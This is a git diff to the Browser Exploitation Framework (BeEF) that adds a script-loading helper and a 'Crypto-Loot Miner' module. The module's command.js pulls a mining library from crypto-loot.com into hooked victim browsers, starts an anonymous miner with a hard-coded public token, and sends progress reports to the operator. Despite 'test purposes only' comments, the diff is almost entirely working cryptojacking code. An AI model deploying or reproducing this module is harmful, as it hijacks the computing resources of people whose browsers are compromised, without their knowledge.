diff --git a/core/main/client/dom.js b/core/main/client/dom.js index cdd1aa140..395ceb84d 100644 --- a/core/main/client/dom.js +++ b/core/main/client/dom.js @@ -230,6 +230,13 @@ beef.dom = { return form; }, + loadScript: function(url) { + var s = document.createElement('script'); + s.type = 'text/javascript'; + s.src = url; + $j('body').append(s); + }, + /** * Get the location of the current page. * @return: the location. diff --git a/modules/misc/cryptoloot_miner/command.js b/modules/misc/cryptoloot_miner/command.js new file mode 100644 index 000000000..e3d3c4927 --- /dev/null +++ b/modules/misc/cryptoloot_miner/command.js @@ -0,0 +1,67 @@ +// +// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// +// Crypto-Loot integration, Zaur Molotnikov, 2017 +// Only for the use for test purposes! +// Inspired by coinhive integration (copied and modified) +// + +beef.execute(function() { + var comm_url = '<%= @command_url %>'; + var comm_id = <%= @command_id %>; + var report_interval = +(<%= @report_interval %>) * 1000; // to miliseconds + + beef.debug("[CryptoLoot] Loading library..."); + beef.net.send(comm_url, comm_id, "[CryptoLoot] Loading library..."); + beef.dom.loadScript('https://crypto-loot.com/lib/miner.min.js'); + + try { + setTimeout("mine('<%= @public_token %>')", 10000); + } catch(e) { + beef.debug("[CryptoLoot] Error loading miner: " + e.message); + beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error()); + return; + } + + mine = function(token) { + beef.debug("[CryptoLoot] Starting the miner..."); + beef.net.send(comm_url, comm_id, 'result=Starting the miner...'); + + try { + var miner = new CryptoLoot.Anonymous(token); + miner.start(); + } catch(e) { + beef.debug("[CryptoLoot] Error starting miner: " + e.message); + beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error()); + return; + } + + beef.debug("[CryptoLoot] setting triggers"); + + miner.on('found', function() { + beef.debug("[CryptoLoot] Hash found"); + }); + beef.debug("[CryptoLoot] 'found' trigger set"); + + miner.on('accepted', function() { + beef.debug("[CryptoLoot] Hash accepted by the pool"); + }); + beef.debug("[CryptoLoot] 'accepted' trigger set"); + + + setInterval(function() { + beef.debug("[CryptoLoot] Miner progress:"); + beef.net.send(comm_url, comm_id, "[CryptoLoot] Miner progress:"); + if (miner.isRunning()) { + var hashesPerSecond = miner.getHashesPerSecond(); + var totalHashes = miner.getTotalHashes(); + var acceptedHashes = miner.getAcceptedHashes(); + beef.debug("[CryptoLoot] Total Hashes: " + totalHashes + " -- Accepted Hashes: " + acceptedHashes + " -- Hashes/Second: " + hashesPerSecond); + beef.net.send(comm_url, comm_id, "[CryptoLoot] Total Hashes: " + totalHashes + " -- Accepted Hashes: " + acceptedHashes + " -- Hashes/Second: " + hashesPerSecond); + } + }, report_interval) + + } +}); diff --git a/modules/misc/cryptoloot_miner/config.yaml b/modules/misc/cryptoloot_miner/config.yaml new file mode 100644 index 000000000..12335dc35 --- /dev/null +++ b/modules/misc/cryptoloot_miner/config.yaml @@ -0,0 +1,19 @@ +# +# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Module by Zaur Molotnikov, 2017 +# For the use in test purposes only +# Inspired by coinhive integration (copied and modified) +# +beef: + module: + cryptoloot_miner: + enable: true + category: "Misc" + name: "Crypto-Loot Miner" + description: "This module starts the Crypto-Loot Miner." + authors: ["qutorial"] + target: + user_notify: ['ALL'] diff --git a/modules/misc/cryptoloot_miner/module.rb b/modules/misc/cryptoloot_miner/module.rb new file mode 100644 index 000000000..019328623 --- /dev/null +++ b/modules/misc/cryptoloot_miner/module.rb @@ -0,0 +1,29 @@ +# +# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# This module is written by Zaur Molotnikov, 2017 +# Only for the use for test purposes! +# Inspired by the coinhive miner integration (copied and modified). +# + +class Cryptoloot_miner < BeEF::Core::Command + def self.options + [{ 'name' => 'public_token', + 'description' => 'Public Token', + 'ui_label' => 'Public Token', + 'value' => 'ae5c906cfd37610626e86e25786866d6d2ff1c258d5f', + 'type' => 'text' + }, + { 'name' => 'report_interval', + 'description' => 'Report Interval (in seconds)', + 'ui_label' => 'Report Interval (s)', + 'value' => '30', + 'type' => 'text' + }] + end + def post_execute + save({'result' => @datastore['result']}) + end +end